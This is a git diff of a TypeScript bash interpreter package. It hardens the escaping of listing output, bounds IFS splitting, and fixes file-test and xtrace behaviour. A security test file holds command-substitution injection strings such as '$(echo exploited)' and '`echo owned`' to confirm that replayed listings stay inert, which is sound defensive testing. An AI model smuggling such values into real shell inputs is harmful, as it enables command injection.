       exitCode = result.exitCode;
     }
+  } catch (error) {
+    output.prependTo(error);
+    throw error;
   } finally {
     ctx.state.inCondition = savedInCondition;
   }
 
-  return { stdout, stderr, exitCode };
+  return output.build(exitCode);
 }
diff --git a/packages/just-bash/src/interpreter/helpers/file-tests.identity.test.ts b/packages/just-bash/src/interpreter/helpers/file-tests.identity.test.ts
new file mode 100644
index 00000000..ee9292e1
--- /dev/null
+++ b/packages/just-bash/src/interpreter/helpers/file-tests.identity.test.ts
@@ -0,0 +1,56 @@
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ReadWriteFs } from "../../fs/read-write-fs/read-write-fs.js";
+
+describe("binary file-test identity semantics", () => {
+  it("compares symlink and hard-link aliases by filesystem identity", async () => {
+    const bash = new Bash({ files: { "/target": "data" } });
+    await bash.fs.symlink("/target", "/symlink");
+    await bash.fs.link("/target", "/hardlink");
+
+    const result = await bash.exec(
+      "[ /target -ef /symlink ]; echo $?; [ /target -ef /hardlink ]; echo $?",
+    );
+    expect(result.stdout).toBe("0\n0\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("implements one-sided missing-file semantics for -nt and -ot", async () => {
+    const bash = new Bash({ files: { "/present": "data" } });
+    const result = await bash.exec(`
+      [ /present -nt /missing ]; echo $?
+      [ /missing -ot /present ]; echo $?
+      [ /missing -nt /present ]; echo $?
+      [ /present -ot /missing ]; echo $?
+    `);
+    expect(result.stdout).toBe("0\n0\n1\n1\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("uses canonical and device/inode identity on a real filesystem", async () => {
+    const tempDir = await fs.promises.mkdtemp(
+      path.join(os.tmpdir(), "just-bash-file-identity-"),
+    );
+    try {
+      const realFs = new ReadWriteFs({ root: tempDir, allowSymlinks: true });
+      await realFs.writeFile("/target", "data");
+      await realFs.symlink("/target", "/symlink");
+      await realFs.link("/target", "/hardlink");
+      const bash = new Bash({ fs: realFs, cwd: "/" });
+
+      const result = await bash.exec(
+        "[ /target -ef /symlink ]; echo $?; [ /target -ef /hardlink ]; echo $?",
+      );
+      expect(result.stdout).toBe("0\n0\n");
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    } finally {
+      await fs.promises.rm(tempDir, { recursive: true, force: true });
+    }
+  });
+});
diff --git a/packages/just-bash/src/interpreter/helpers/file-tests.ts b/packages/just-bash/src/interpreter/helpers/file-tests.ts
index a6d4ecab..a847aec3 100644
--- a/packages/just-bash/src/interpreter/helpers/file-tests.ts
+++ b/packages/just-bash/src/interpreter/helpers/file-tests.ts
@@ -241,43 +241,55 @@ export async function evaluateBinaryFileTest(
 
   switch (operator) {
     case "-nt": {
-      // left is newer than right
-      try {
-        const leftStat = await ctx.fs.stat(leftPath);
-        const rightStat = await ctx.fs.stat(rightPath);
-        return leftStat.mtime > rightStat.mtime;
-      } catch {
-        // If either file doesn't exist, result is false
-        return false;
-      }
+      const [leftStat, rightStat] = await Promise.all([
+        ctx.fs.stat(leftPath).catch(() => null),
+        ctx.fs.stat(rightPath).catch(() => null),
+      ]);
+      return (
+        leftStat !== null &&
+        (rightStat === null || leftStat.mtime > rightStat.mtime)
+      );
     }
 
     case "-ot": {
       // left is older than right
-      try {
-        const leftStat = await ctx.fs.stat(leftPath);
-        const rightStat = await ctx.fs.stat(rightPath);
-        return leftStat.mtime < rightStat.mtime;
-      } catch {
-        return false;
-      }
+      const [leftStat, rightStat] = await Promise.all([
+        ctx.fs.stat(leftPath).catch(() => null),
+        ctx.fs.stat(rightPath).catch(() => null),
+      ]);
+      return (
+        rightStat !== null &&
+        (leftStat === null || leftStat.mtime < rightStat.mtime)
+      );
     }
 
     case "-ef": {
       // Same file (same device and inode)
-      // In virtual fs, compare resolved canonical paths
       try {
-        // Both files must exist
+        const [leftReal, rightReal] = await Promise.all([
+          ctx.fs.realpath(leftPath),
+          ctx.fs.realpath(rightPath),
+        ]);
+        if (leftReal === rightReal) return true;
+
+        const [leftStat, rightStat] = await Promise.all([
+          ctx.fs.stat(leftPath),
+          ctx.fs.stat(rightPath),
+        ]);
         if (
-          !(await ctx.fs.exists(leftPath)) ||
-          !(await ctx.fs.exists(rightPath))
+          leftStat.dev !== undefined &&
+          leftStat.ino !== undefined &&
+          rightStat.dev !== undefined &&
+          rightStat.ino !== undefined
         ) {
-          return false;
+          return (
+            leftStat.dev === rightStat.dev && leftStat.ino === rightStat.ino
+          );
         }
-        // Compare canonical paths (handles symlinks)
-        const leftReal = ctx.fs.resolvePath(ctx.state.cwd, leftPath);
-        const rightReal = ctx.fs.resolvePath(ctx.state.cwd, rightPath);
-        return leftReal === rightReal;
+        if (leftStat.identity && rightStat.identity) {
+          return leftStat.identity === rightStat.identity;
+        }
+        return false;
       } catch {
         return false;
       }
diff --git a/packages/just-bash/src/interpreter/helpers/ifs.security.test.ts b/packages/just-bash/src/interpreter/helpers/ifs.security.test.ts
new file mode 100644
index 00000000..23f62ac1
--- /dev/null
+++ b/packages/just-bash/src/interpreter/helpers/ifs.security.test.ts
@@ -0,0 +1,41 @@
+import { describe, expect, it } from "vitest";
+import { ExecutionLimitError } from "../errors.js";
+import {
+  splitByIfsForExpansion,
+  splitByIfsForExpansionEx,
+  splitByIfsForRead,
+} from "./ifs.js";
+
+describe("bounded IFS splitting", () => {
+  it("fails before expansion output exceeds the element budget", () => {
+    expect(() => splitByIfsForExpansion("a b c", " ", 2)).toThrow(
+      ExecutionLimitError,
+    );
+    expect(splitByIfsForExpansion("a b c", " ", 3)).toEqual(["a", "b", "c"]);
+  });
+
+  it("bounds empty fields created by non-whitespace delimiters", () => {
+    expect(() => splitByIfsForExpansionEx("a::::b", ":", 3)).toThrow(
+      /array element limit exceeded \(3\)/,
+    );
+  });
+
+  it("bounds both read results and their auxiliary start offsets", () => {
+    expect(() => splitByIfsForRead("a::b", ":", 2)).toThrow(
+      ExecutionLimitError,
+    );
+    expect(splitByIfsForRead("a::b", ":", 3)).toEqual({
+      words: ["a", "", "b"],
+      wordStarts: [0, 2, 3],
+    });
+  });
+
+  it("rejects a singleton result when the configured budget is zero", () => {
+    expect(() => splitByIfsForExpansion("value", "", 0)).toThrow(
+      ExecutionLimitError,
+    );
+    expect(() => splitByIfsForRead("value", "", 0)).toThrow(
+      ExecutionLimitError,
+    );
+  });
+});
diff --git a/packages/just-bash/src/interpreter/helpers/ifs.ts b/packages/just-bash/src/interpreter/helpers/ifs.ts
index 53a5375e..345f5a6d 100644
--- a/packages/just-bash/src/interpreter/helpers/ifs.ts
+++ b/packages/just-bash/src/interpreter/helpers/ifs.ts
@@ -7,9 +7,33 @@
  * - ${!prefix*} and ${!arr[*]} expansions
  */
 
+import { ExecutionLimitError } from "../errors.js";
+
 /** Default IFS value: space, tab, newline */
 const DEFAULT_IFS = " \t\n";
 
+function assertIfsPushAllowed(length: number, maxArrayElements: number): void {
+  if (length >= maxArrayElements) {
+    throw new ExecutionLimitError(
+      `array element limit exceeded (${maxArrayElements})`,
+      "array_elements",
+    );
+  }
+}
+
+function pushReadField(
+  words: string[],
+  wordStarts: number[],
+  word: string,
+  start: number,
+  maxArrayElements: number,
+): void {
+  assertIfsPushAllowed(words.length, maxArrayElements);
+  assertIfsPushAllowed(wordStarts.length, maxArrayElements);
+  words.push(word);
+  wordStarts.push(start);
+}
+
 /**
  * Get the effective IFS value from environment.
  * Returns DEFAULT_IFS if IFS is undefined, or the actual value (including empty string).
@@ -127,6 +151,7 @@ function categorizeIfs(ifs: string): {
 export function splitByIfsForRead(
   value: string,
   ifs: string,
+  maxArrayElements: number,
   maxSplit?: number,
   raw?: boolean,
 ): { words: string[]; wordStarts: number[] } {
@@ -137,6 +162,7 @@ export function splitByIfsForRead(
     if (value === "") {
       return { words: [], wordStarts: [] };
     }
+    assertIfsPushAllowed(0, maxArrayElements);
     return { words: [value], wordStarts: [0] };
   }
 
@@ -157,8 +183,7 @@ export function splitByIfsForRead(
 
   // Check for leading non-whitespace delimiter (creates empty field)
   if (nonWhitespace.has(value[pos])) {
-    words.push("");
-    wordStarts.push(pos);
+    pushReadField(words, wordStarts, "", pos, maxArrayElements);
     pos++;
     // Skip any whitespace after the delimiter
     while (pos < value.length && whitespace.has(value[pos])) {
@@ -174,7 +199,6 @@ export function splitByIfsForRead(
     }
 
     const wordStart = pos;
-    wordStarts.push(wordStart);
 
     // Collect characters until we hit an IFS character
     // In non-raw mode, backslash escapes the next character (protects it from being IFS)
@@ -195,7 +219,13 @@ export function splitByIfsForRead(
       pos++;
     }
 
-    words.push(value.substring(wordStart, pos));
+    pushReadField(
+      words,
+      wordStarts,
+      value.substring(wordStart, pos),
+      wordStart,
+      maxArrayElements,
+    );
 
     if (pos >= value.length) {
       break;
@@ -223,8 +253,7 @@ export function splitByIfsForRead(
           break;
         }
         // Empty field for this delimiter
-        words.push("");
-        wordStarts.push(pos);
+        pushReadField(words, wordStarts, "", pos, maxArrayElements);
         pos++;
         // Skip whitespace after
         while (pos < value.length && whitespace.has(value[pos])) {
@@ -274,9 +303,11 @@ export interface IfsExpansionSplitResult {
 export function splitByIfsForExpansionEx(
   value: string,
   ifs: string,
+  maxArrayElements: number,
 ): IfsExpansionSplitResult {
   // Empty IFS means no splitting
   if (ifs === "") {
+    if (value) assertIfsPushAllowed(0, maxArrayElements);
     return {
       words: value ? [value] : [],
       hadLeadingDelimiter: false,
@@ -317,6 +348,7 @@ export function splitByIfsForExpansionEx(
 
   // Check for leading non-whitespace delimiter (creates empty field)
   if (nonWhitespace.has(value[pos])) {
+    assertIfsPushAllowed(words.length, maxArrayElements);
     words.push("");
     pos++;
     // Skip any whitespace after the delimiter
@@ -338,6 +370,7 @@ export function splitByIfsForExpansionEx(
       pos++;
     }
 
+    assertIfsPushAllowed(words.length, maxArrayElements);
     words.push(value.substring(wordStart, pos));
 
     if (pos >= value.length) {
@@ -365,6 +398,7 @@ export function splitByIfsForExpansionEx(
       // Check for more non-whitespace delimiters (creates empty fields)
       while (pos < value.length && nonWhitespace.has(value[pos])) {
         // Empty field for this delimiter
+        assertIfsPushAllowed(words.length, maxArrayElements);
         words.push("");
         pos++;
         // Skip whitespace after
@@ -383,8 +417,12 @@ export function splitByIfsForExpansionEx(
   return { words, hadLeadingDelimiter, hadTrailingDelimiter };
 }
 
-export function splitByIfsForExpansion(value: string, ifs: string): string[] {
-  return splitByIfsForExpansionEx(value, ifs).words;
+export function splitByIfsForExpansion(
+  value: string,
+  ifs: string,
+  maxArrayElements: number,
+): string[] {
+  return splitByIfsForExpansionEx(value, ifs, maxArrayElements).words;
 }
 
 /**
diff --git a/packages/just-bash/src/interpreter/helpers/nameref.ts b/packages/just-bash/src/interpreter/helpers/nameref.ts
index ae5a2c42..e96a1621 100644
--- a/packages/just-bash/src/interpreter/helpers/nameref.ts
+++ b/packages/just-bash/src/interpreter/helpers/nameref.ts
@@ -6,6 +6,7 @@
  */
 
 import type { InterpreterContext } from "../types.js";
+import { hasArray } from "./array.js";
 
 /**
  * Check if a variable is a nameref
@@ -69,17 +70,13 @@ export function targetExists(ctx: InterpreterContext, target: string): boolean {
   if (arrayMatch) {
     const arrayName = arrayMatch[1];
     // Check if array exists (has any elements or is declared as assoc)
-    const hasElements = Array.from(ctx.state.env.keys()).some(
-      (k) => k.startsWith(`${arrayName}_`) && !k.includes("__"),
-    );
+    const hasElements = hasArray(ctx, arrayName);
     const isAssoc = ctx.state.associativeArrays?.has(arrayName) ?? false;
     return hasElements || isAssoc;
   }
 
   // Check if it's an array (stored as target_0, target_1, etc.)
-  const hasArrayElements = Array.from(ctx.state.env.keys()).some(
-    (k) => k.startsWith(`${target}_`) && !k.includes("__"),
-  );
+  const hasArrayElements = hasArray(ctx, target);
   if (hasArrayElements) {
     return true;
   }
diff --git a/packages/just-bash/src/interpreter/helpers/quoting.security.test.ts b/packages/just-bash/src/interpreter/helpers/quoting.security.test.ts
new file mode 100644
index 00000000..57f7d0d7
--- /dev/null
+++ b/packages/just-bash/src/interpreter/helpers/quoting.security.test.ts
@@ -0,0 +1,100 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { quoteArrayValue, quoteDeclareValue } from "./quoting.js";
+
+describe("replay-safe shell quoting", () => {
+  it.each([
+    "$(echo exploited)",
+    "`echo exploited`",
+    "${PATH}",
+    "$((1+1))",
+  ])("escapes expansion syntax in double-quoted listings: %s", (value) => {
+    expect(quoteDeclareValue(value)).toContain("\\");
+    expect(quoteArrayValue(value)).toContain("\\");
+  });
+
+  it("replays export -p without executing stored substitutions", async () => {
+    const source = new Bash();
+    const listing = await source.exec(
+      "export PAYLOAD='$(echo exploited)' TICKS='`echo owned`'; export -p",
+    );
+
+    const target = new Bash();
+    const replay = await target.exec(
+      `${listing.stdout}\nprintf '%s|%s' "$PAYLOAD" "$TICKS"`,
+    );
+    expect(replay.exitCode).toBe(0);
+    expect(replay.stdout).toBe("$(echo exploited)|`echo owned`");
+  });
+
+  it("replays declare -p without executing stored substitutions", async () => {
+    const source = new Bash();
+    const listing = await source.exec(
+      "PAYLOAD='${HOME}:$((6*7)):$(echo bad)'; declare -p PAYLOAD",
+    );
+
+    const target = new Bash();
+    const replay = await target.exec(
+      `${listing.stdout}\nprintf '%s' "$PAYLOAD"`,
+    );
+    expect(replay.exitCode).toBe(0);
+    expect(replay.stdout).toBe("${HOME}:$((6*7)):$(echo bad)");
+  });
+
+  it("replays hash -l paths and option-like names as inert arguments", async () => {
+    const source = new Bash();
+    const listing = await source.exec(
+      `hash -p '/tmp/$(echo bad) path' -- -danger; hash -l`,
+    );
+    expect(listing.stdout).not.toContain("\nbad\n");
+
+    const target = new Bash();
+    const replay = await target.exec(`${listing.stdout}\nhash -t -- -danger`);
+    expect(replay.exitCode).toBe(0);
+    expect(replay.stdout).toBe("/tmp/$(echo bad) path\n");
+  });
+
+  it("replays complete -p command fields and option-like command names", async () => {
+    const source = new Bash();
+    const listing = await source.exec(
+      `complete -W 'one $(echo bad)' -C 'printf "%s" "$HOME"' -- -danger; complete -p`,
+    );
+    const target = new Bash();
+    const replay = await target.exec(
+      `${listing.stdout}\ncomplete -p -- -danger`,
+    );
+    expect(replay.exitCode).toBe(0);
+    expect(replay.stdout).toBe(listing.stdout);
+  });
+
+  it("replays associative array keys and values with shell syntax", async () => {
+    const source = new Bash();
+    const listing = await source.exec(
+      `declare -A A; A["a b"]='$(bad)'; declare -p A`,
+    );
+    expect(listing.exitCode).toBe(0);
+    const target = new Bash();
+    const replay = await target.exec(
+      `${listing.stdout}\nprintf '%s|%s' "\${!A[@]}" "\${A["a b"]}"`,
+    );
+    expect(replay.exitCode).toBe(0);
+    expect(replay.stdout).toBe("a b|$(bad)");
+  });
+
+  it("replays set listings for scalars and declared array kinds", async () => {
+    const source = new Bash();
+    const listing = await source.exec(
+      `SCALAR='$(bad)'; declare -a IDX; IDX[0]='$((7))'; declare -A ASSOC; ASSOC["a b"]='\${HOME}'; set`,
+    );
+    const selected = listing.stdout
+      .split("\n")
+      .filter((line) => /^(?:SCALAR|IDX|ASSOC)=/.test(line))
+      .join("\n");
+    const target = new Bash();
+    const replay = await target.exec(
+      `declare -A ASSOC\n${selected}\nprintf '%s|%s|%s|%s' "$SCALAR" "\${IDX[0]}" "\${!ASSOC[@]}" "\${ASSOC["a b"]}"`,
+    );
+    expect(replay.exitCode).toBe(0);
+    expect(replay.stdout).toBe("$(bad)|$((7))|a b|${HOME}");
+  });
+});
diff --git a/packages/just-bash/src/interpreter/helpers/quoting.ts b/packages/just-bash/src/interpreter/helpers/quoting.ts
index e838170c..5bc92a6e 100644
--- a/packages/just-bash/src/interpreter/helpers/quoting.ts
+++ b/packages/just-bash/src/interpreter/helpers/quoting.ts
@@ -5,6 +5,8 @@
  * used by both `set` and `declare/typeset` builtins.
  */
 
+import { utf8ByteLength } from "../../encoding.js";
+
 /**
  * Check if a character needs $'...' quoting (control characters only)
  * Bash uses $'...' only for control characters (0x00-0x1F, 0x7F).
@@ -70,15 +72,29 @@ function dollarQuote(value: string): string {
  * - Single quotes for values with spaces or shell metacharacters
  * - $'...' quoting for values with control characters
  */
+export function quotedValueByteLength(value: string): number {
+  if (needsDollarQuoting(value)) return dollarQuotedByteLength(value);
+  if (value === "") return 2;
+  if (/^[a-zA-Z0-9_/.:\-@%+,=]+$/.test(value)) return utf8ByteLength(value);
+
+  let bytes = utf8ByteLength(value) + 2;
+  for (const char of value) {
+    if (char === "'") bytes += 3;
+  }
+  return bytes;
+}
+
 export function quoteValue(value: string): string {
   // If value contains control characters or non-printable, use $'...' quoting
   if (needsDollarQuoting(value)) {
     return dollarQuote(value);
   }
 
+  if (value === "") return "''";
+
   // If value contains no special chars, return as-is
   // Safe chars: alphanumerics, underscore, slash, dot, colon, hyphen, at, percent, plus, comma, equals
-  if (/^[a-zA-Z0-9_/.:\-@%+,=]*$/.test(value)) {
+  if (/^[a-zA-Z0-9_/.:\-@%+,=]+$/.test(value)) {
     return value;
   }
 
@@ -91,6 +107,18 @@ export function quoteValue(value: string): string {
  * Quote a value for array element output
  * Uses $'...' for control characters, double quotes otherwise
  */
+export function quotedArrayValueByteLength(value: string): number {
+  if (needsDollarQuoting(value)) return dollarQuotedByteLength(value);
+
+  let bytes = utf8ByteLength(value) + 2;
+  for (const char of value) {
+    if (char === "\\" || char === '"' || char === "$" || char === "`") {
+      bytes++;
+    }
+  }
+  return bytes;
+}
+
 export function quoteArrayValue(value: string): string {
   // If value needs $'...' quoting, use it
   if (needsDollarQuoting(value)) {
@@ -98,10 +126,40 @@ export function quoteArrayValue(value: string): string {
   }
   // For array elements, bash always uses double quotes
   // Escape backslashes and double quotes
-  const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
+  const escaped = value
+    .replace(/\\/g, "\\\\")
+    .replace(/"/g, '\\"')
+    .replace(/\$/g, "\\$")
+    .replace(/`/g, "\\`");
   return `"${escaped}"`;
 }
 
+function dollarQuotedByteLength(value: string): number {
+  let bytes = 3; // $'...'
+  for (const char of value) {
+    const code = char.codePointAt(0) ?? 0;
+    if (
+      code === 0x07 ||
+      code === 0x08 ||
+      code === 0x09 ||
+      code === 0x0a ||
+      code === 0x0b ||
+      code === 0x0c ||
+      code === 0x0d ||
+      code === 0x1b ||
+      code === 0x27 ||
+      code === 0x5c
+    ) {
+      bytes += 2;
+    } else if (code < 0x20 || code === 0x7f) {
+      bytes += 4;
+    } else {
+      bytes += utf8ByteLength(char);
+    }
+  }
+  return bytes;
+}
+
 /**
  * Quote a value for declare -p output
  * Uses $'...' for control characters, double quotes otherwise
@@ -112,6 +170,10 @@ export function quoteDeclareValue(value: string): string {
     return dollarQuote(value);
   }
   // Otherwise use double quotes with escaping
-  const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
+  const escaped = value
+    .replace(/\\/g, "\\\\")
+    .replace(/"/g, '\\"')
+    .replace(/\$/g, "\\$")
+    .replace(/`/g, "\\`");
   return `"${escaped}"`;
 }
diff --git a/packages/just-bash/src/interpreter/helpers/statements.ts b/packages/just-bash/src/interpreter/helpers/statements.ts
deleted file mode 100644
index bcba69fb..00000000
--- a/packages/just-bash/src/interpreter/helpers/statements.ts
+++ /dev/null
@@ -1,66 +0,0 @@
-/**
- * Statement execution helpers for the interpreter.
- *
- * Consolidates the common pattern of executing a list of statements
- * and accumulating their output.
- */
-
-import type { StatementNode } from "../../ast/types.js";
-import type { ExecResult } from "../../types.js";
-import {
-  ErrexitError,
-  ExecutionLimitError,
-  ExitError,
-  isScopeExitError,
-  SubshellExitError,
-} from "../errors.js";
-import type { InterpreterContext } from "../types.js";
-import { getErrorMessage } from "./errors.js";
-
-/**
- * Execute a list of statements and accumulate their output.
- * Handles scope exit errors (break, continue, return) and errexit properly.
- *
- * @param ctx - Interpreter context
- * @param statements - Statements to execute
- * @param initialStdout - Initial stdout to prepend (default "")
- * @param initialStderr - Initial stderr to prepend (default "")
- * @returns Accumulated stdout, stderr, and final exit code
- */
-export async function executeStatements(
-  ctx: InterpreterContext,
-  statements: StatementNode[],
-  initialStdout = "",
-  initialStderr = "",
-): Promise<ExecResult> {
-  let stdout = initialStdout;
-  let stderr = initialStderr;
-  let exitCode = 0;
-
-  try {
-    for (const stmt of statements) {
-      const result = await ctx.executeStatement(stmt);
-      stdout += result.stdout;
-      stderr += result.stderr;
-      exitCode = result.exitCode;
-    }
-  } catch (error) {
-    if (
-      isScopeExitError(error) ||
-      error instanceof ErrexitError ||
-      error instanceof ExitError ||
-      error instanceof ExecutionLimitError ||
-      error instanceof SubshellExitError
-    ) {
-      error.prependOutput(stdout, stderr);
-      throw error;
-    }
-    return {
-      stdout,
-      stderr: `${stderr}${getErrorMessage(error)}\n`,
-      exitCode: 1,
-    };
-  }
-
-  return { stdout, stderr, exitCode };
-}
diff --git a/packages/just-bash/src/interpreter/helpers/string-compare.ts b/packages/just-bash/src/interpreter/helpers/string-compare.ts
index 9a6c99e7..ab6e152e 100644
--- a/packages/just-bash/src/interpreter/helpers/string-compare.ts
+++ b/packages/just-bash/src/interpreter/helpers/string-compare.ts
@@ -35,9 +35,16 @@ export function compareStrings(
   usePattern = false,
   nocasematch = false,
   extglob = false,
+  maxPatternDepth = 256,
 ): boolean {
   if (usePattern) {
-    const isEqual = matchPattern(left, right, nocasematch, extglob);
+    const isEqual = matchPattern(
+      left,
+      right,
+      nocasematch,
+      extglob,
+      maxPatternDepth,
+    );
     return op === "!=" ? !isEqual : isEqual;
   }
   if (nocasematch) {
diff --git a/packages/just-bash/src/interpreter/helpers/tilde.ts b/packages/just-bash/src/interpreter/helpers/tilde.ts
deleted file mode 100644
index 2d56a104..00000000
--- a/packages/just-bash/src/interpreter/helpers/tilde.ts
+++ /dev/null
@@ -1,41 +0,0 @@
-/**
- * Tilde expansion helper functions.
- *
- * Handles ~ expansion in assignment contexts.
- */
-
-import type { InterpreterContext } from "../types.js";
-
-/**
- * Expand tildes in assignment values (PATH-like expansion)
- * - ~ at start expands to HOME
- * - ~ after : expands to HOME (for PATH-like values)
- * - ~username expands to user's home (only root supported)
- */
-export function expandTildesInValue(
-  ctx: InterpreterContext,
-  value: string,
-): string {
-  const home = ctx.state.env.get("HOME") || "/home/user";
-
-  // Split by : to handle PATH-like values
-  const parts = value.split(":");
-  const expanded = parts.map((part) => {
-    if (part === "~") {
-      return home;
-    }
-    if (part === "~root") {
-      return "/root";
-    }
-    if (part.startsWith("~/")) {
-      return home + part.slice(1);
-    }
-    if (part.startsWith("~root/")) {
-      return `/root${part.slice(5)}`;
-    }
-    // ~otheruser stays literal (can't verify user exists)
-    return part;
-  });
-
-  return expanded.join(":");
-}
diff --git a/packages/just-bash/src/interpreter/helpers/variable-tests.ts b/packages/just-bash/src/interpreter/helpers/variable-tests.ts
index ccd145c1..61165b21 100644
--- a/packages/just-bash/src/interpreter/helpers/variable-tests.ts
+++ b/packages/just-bash/src/interpreter/helpers/variable-tests.ts
@@ -2,7 +2,11 @@ import { parseArithmeticExpression } from "../../parser/arithmetic-parser.js";
 import { Parser } from "../../parser/parser.js";
 import { evaluateArithmetic } from "../arithmetic.js";
 import type { InterpreterContext } from "../types.js";
-import { getArrayIndices, getAssocArrayKeys } from "./array.js";
+import {
+  getArrayIndices,
+  getAssocArrayKeys,
+  hasArrayElement,
+} from "./array.js";
 
 /**
  * Evaluates the -v (variable is set) test.
@@ -39,7 +43,7 @@ export async function evaluateVariableTest(
       key = key.replace(/\$([a-zA-Z_][a-zA-Z0-9_]*)/g, (_, varName) => {
         return ctx.state.env.get(varName) || "";
       });
-      return ctx.state.env.has(`${arrayName}_${key}`);
+      return hasArrayElement(ctx, arrayName, key);
     }
 
     // Evaluate as arithmetic expression (handles variables like zero+0)
@@ -81,7 +85,7 @@ export async function evaluateVariableTest(
       }
     }
 
-    return ctx.state.env.has(`${arrayName}_${index}`);
+    return hasArrayElement(ctx, arrayName, index);
   }
 
   // Check if it's a regular variable
diff --git a/packages/just-bash/src/interpreter/helpers/xtrace.test.ts b/packages/just-bash/src/interpreter/helpers/xtrace.test.ts
index 4b36f1a3..706dc67b 100644
--- a/packages/just-bash/src/interpreter/helpers/xtrace.test.ts
+++ b/packages/just-bash/src/interpreter/helpers/xtrace.test.ts
@@ -96,6 +96,19 @@ echo line1`);
       expect(result.stderr).toContain("echo test");
       expect(result.exitCode).toBe(0);
     });
+
+    it("suppresses xtrace while expanding PS4 command substitutions", async () => {
+      const env = new Bash();
+      const result = await env.exec(`
+        PS4='$(printf P)'
+        set -x
+        echo test
+      `);
+      expect(result.stdout).toBe("test\n");
+      expect(result.stderr).toContain("Pecho test");
+      expect(result.stderr).not.toContain("printf P");
+      expect(result.exitCode).toBe(0);
+    });
   });
 
   describe("tracing with special characters", () => {
diff --git a/packages/just-bash/src/interpreter/helpers/xtrace.ts b/packages/just-bash/src/interpreter/helpers/xtrace.ts
index 0e3e549a..afc5b8f5 100644
--- a/packages/just-bash/src/interpreter/helpers/xtrace.ts
+++ b/packages/just-bash/src/interpreter/helpers/xtrace.ts
@@ -7,6 +7,7 @@
  */
 
 import { Parser } from "../../parser/parser.js";
+import { ArithmeticError, ControlFlowError } from "../errors.js";
 import { expandWord } from "../expansion.js";
 import type { InterpreterContext } from "../types.js";
 
@@ -34,6 +35,8 @@ async function getXtracePrefix(ctx: InterpreterContext): Promise<string> {
     return "";
   }
 
+  const xtraceWasEnabled = ctx.state.options.xtrace;
+  ctx.state.options.xtrace = false;
   try {
     // Parse PS4 as a word to handle variable expansion
     const parser = new Parser();
@@ -43,11 +46,26 @@ async function getXtracePrefix(ctx: InterpreterContext): Promise<string> {
     const expanded = await expandWord(ctx, wordNode);
 
     return expanded;
-  } catch {
+  } catch (error) {
+    // A runtime arithmetic error in PS4 affects the prompt only. Bash reports
+    // it but still executes the command; keeping the literal prompt preserves
+    // that non-fatal behavior without allowing execution/security errors to be
+    // swallowed by tracing.
+    if (error instanceof ArithmeticError && !error.fatal) {
+      return ps4;
+    }
+    if (
+      error instanceof ControlFlowError ||
+      (error instanceof Error && error.name === "AbortError")
+    ) {
+      throw error;
+    }
     // If expansion fails, print error to stderr (like bash does) and return literal PS4
     // Bash continues execution but reports the error
     ctx.state.expansionStderr = `${ctx.state.expansionStderr || ""}bash: ${ps4}: bad substitution\n`;
     return ps4 || DEFAULT_PS4;
+  } finally {
+    ctx.state.options.xtrace = xtraceWasEnabled;
   }
 }
 
diff --git a/packages/just-bash/src/interpreter/interpreter.ts b/packages/just-bash/src/interpreter/interpreter.ts
index 411b028e..02b0e393 100644
--- a/packages/just-bash/src/interpreter/interpreter.ts
+++ b/packages/just-bash/src/interpreter/interpreter.ts
@@ -29,6 +29,8 @@ import {
   latin1FromBytes,
   readBytesFrom,
 } from "../encoding.js";
+import { ExecutionOutputAccumulator } from "../execution-output.js";
+import type { ExecutionScope } from "../execution-scope.js";
 import type { IFileSystem } from "../fs/interface.js";
 import { mapToRecord } from "../helpers/env.js";
 import type { ExecutionLimits } from "../limits.js";
@@ -88,7 +90,6 @@ import {
   OK,
   result,
   testResult,
-  throwExecutionLimit,
 } from "./helpers/result.js";
 import { isPosixSpecialBuiltin } from "./helpers/shell-constants.js";
 import {
@@ -108,7 +109,11 @@ import {
   executeSubshell as executeSubshellHelper,
   executeUserScript as executeUserScriptHelper,
 } from "./subshell-group.js";
-import type { InterpreterContext, InterpreterState } from "./types.js";
+import type {
+  InterpreterContext,
+  InterpreterExecOptions,
+  InterpreterState,
+} from "./types.js";
 
 export type { InterpreterContext, InterpreterState } from "./types.js";
 
@@ -116,15 +121,11 @@ export interface InterpreterOptions {
   fs: IFileSystem;
   commands: CommandRegistry;
   limits: Required<ExecutionLimits>;
+  executionScope: ExecutionScope;
   exec: (
     script: string,
-    options?: {
-      env?: Record<string, string>;
-      cwd?: string;
-      replaceEnv?: boolean;
-      signal?: AbortSignal;
-      args?: string[];
-    },
+    options?: InterpreterExecOptions,
+    stdinAlreadyAccounted?: boolean,
   ) => Promise<ExecResult>;
   /** Optional secure fetch function for network-enabled commands */
   fetch?: SecureFetch;
@@ -153,6 +154,7 @@ export class Interpreter {
       fs: options.fs,
       commands: options.commands,
       limits: options.limits,
+      executionScope: options.executionScope,
       execFn: options.exec,
       executeScript: this.executeScript.bind(this),
       executeStatement: this.executeStatement.bind(this),
@@ -228,24 +230,11 @@ export class Interpreter {
   async executeScript(node: ScriptNode): Promise<ExecResult> {
     this.assertDefenseContext("execution");
 
-    let stdout = "";
-    let stderr = "";
     let exitCode = 0;
-    const maxOutputSize = this.ctx.limits.maxOutputSize;
-
-    const appendOutput = (nextStdout: string, nextStderr: string): void => {
-      if (
-        stdout.length + stderr.length + nextStdout.length + nextStderr.length >
-        maxOutputSize
-      ) {
-        throwExecutionLimit(
-          `total output size exceeded (>${maxOutputSize} bytes), increase executionLimits.maxOutputSize`,
-          "output_size",
-        );
-      }
-      stdout += nextStdout;
-      stderr += nextStderr;
-    };
+    const output = new ExecutionOutputAccumulator(
+      this.ctx.executionScope,
+      "script",
+    );
 
     for (const statement of node.statements) {
       try {
@@ -256,7 +245,7 @@ export class Interpreter {
         // bytes 0xC3 0xB6); concatenated raw, the lone high byte makes the
         // combined stream invalid UTF-8 and the boundary decoder bails, leaving
         // the byte half as mojibake. Decoding per statement isolates each shape.
-        appendOutput(decodedTextFromResult(result), result.stderr);
+        output.appendResult(result, decodedTextFromResult(result));
         exitCode = result.exitCode;
         this.ctx.state.lastExitCode = exitCode;
         this.ctx.state.env.set("?", String(exitCode));
@@ -264,59 +253,92 @@ export class Interpreter {
         // ExitError always propagates up to terminate the script
